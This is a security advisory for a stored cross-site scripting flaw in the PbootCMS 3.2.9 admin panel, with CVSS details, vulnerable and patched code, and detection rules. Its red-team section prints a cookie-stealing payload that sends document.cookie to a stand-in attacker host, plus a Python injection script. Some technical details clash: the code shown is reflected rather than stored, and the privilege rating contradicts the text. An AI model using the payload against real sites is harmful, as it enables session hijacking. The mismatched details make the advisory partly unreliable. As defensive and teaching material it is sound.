CVE-2025-29389

Executive Summary

CVE-2025-29389 identifies a stored Cross-Site Scripting (XSS) vulnerability in PbootCMS version 3.2.9. The flaw resides in the admin panel at admin.php?p=/Content/index/mcode/2#tab=t2, allowing an authenticated attacker with administrative privileges to inject arbitrary web scripts or HTML. Successful exploitation could lead to session hijacking, defacement, or redirection of other admin users. The vulnerability is publicly known but currently unpatched, with no official fix from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP CMS application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but note that exploitation requires an authenticated admin session, so effective PR is High.
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the presence of a public proof-of-concept increase the risk for unhardened installations.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the PbootCMS admin content management interface. The parameter mcode in the URL admin.php?p=/Content/index/mcode/2 is not properly sanitized before being rendered in the admin panel. An attacker with admin credentials can inject malicious JavaScript into the mcode field, which will then execute in the browsers of other administrators who view the affected content list.

Root Cause: Insufficient input validation and output encoding in the Content/index controller. The application fails to escape HTML entities when displaying the mcode parameter value.

Attack Flow:

1. Attacker logs into PbootCMS admin panel.
2. Navigates to admin.php?p=/Content/index/mcode/2#tab=t2.
3. Injects a payload like <script>alert('XSS')</script> into the mcode parameter.
4. The payload is stored in the database.
5. When another admin visits the same page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (PbootCMS 3.2.9):

// In ContentController.php (approximate location)
public function index() {
    $mcode = $_GET['mcode'] ?? '';
    // Directly output without sanitization
    echo "<div class='mcode'>" . $mcode . "</div>";
}

Patched Code (Hypothetical fix):

// In ContentController.php
public function index() {
    $mcode = $_GET['mcode'] ?? '';
    // Sanitize output
    echo "<div class='mcode'>" . htmlspecialchars($mcode, ENT_QUOTES, 'UTF-8') . "</div>";
}

The fix requires using htmlspecialchars() or equivalent to encode HTML special characters before rendering user input.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to PbootCMS admin panel (valid credentials).
• Target URL: http://target.com/admin.php?p=/Content/index/mcode/2#tab=t2

Exploit Payload:

// Stored XSS payload
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

1. Log in to the admin panel.
2. Craft the malicious URL with the payload:

   http://target.com/admin.php?p=/Content/index/mcode/2&mcode=<script>alert('XSS')</script>#tab=t2
   

3. Submit the request (e.g., via browser or curl).
4. The payload is stored and will execute for any admin viewing the content list.

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin.php?p=/Login/index", data=login_data)

# Inject XSS
payload = "<script>alert('XSS')</script>"
url = f"{target}/admin.php?p=/Content/index/mcode/2&mcode={payload}"
session.get(url)
print("Payload injected. Trigger by visiting the content index page.")

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor admin panel access logs for unusual mcode parameters containing <script> or onerror patterns.
2. Deploy a Web Application Firewall (WAF) rule to block requests with HTML/JavaScript in mcode.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot Setup:

• Create a fake admin account with low privileges.
• Log all mcode parameter values and alert on any containing < or > characters.

Indicators of Compromise (IOCs)

• URL Pattern: admin.php?p=/Content/index/mcode/* with suspicious parameters.
• Log Entries: HTTP requests containing mcode=<script> or mcode=<img onerror=.
• Network Traffic: Outbound connections from the CMS server to unknown IPs (e.g., for cookie exfiltration).
• File Changes: Unexpected modifications to ContentController.php or database entries in the mcode field.

Detection Engineering

YARA Rule

rule CVE_2025_29389_PbootCMS_XSS {
    meta:
        description = "Detects stored XSS payloads in PbootCMS admin panel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29389"
    strings:
        $xss1 = /mcode=<script[^>]*>/
        $xss2 = /mcode=<img[^>]*onerror/
        $xss3 = /mcode=<svg[^>]*onload/
    condition:
        any of them
}

Sigma Rule

title: PbootCMS Admin Panel XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-29389 via mcode parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "mcode=<"
    condition: selection
falsepositives:
    - Legitimate use of HTML in mcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29389 PbootCMS XSS Attempt"; flow:to_server; content:"admin.php"; http_uri; content:"mcode="; http_uri; pcre:"/mcode=<(script|img|svg)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Admin Access: Restrict admin panel access to trusted IPs only.
2. Input Validation: Manually patch ContentController.php to use htmlspecialchars() on mcode.
3. WAF Rules: Block requests containing <script> in the mcode parameter.

Long-Term Fix:

• Upgrade to a patched version when available (currently none).
• Implement a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'none';.
• Conduct a full code audit for similar XSS vulnerabilities.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious parameters:

if ($arg_mcode ~* "<script|<img|<svg") {
    return 403;
}

Valters IT – DevSecOps & Cyber Threat Intelligence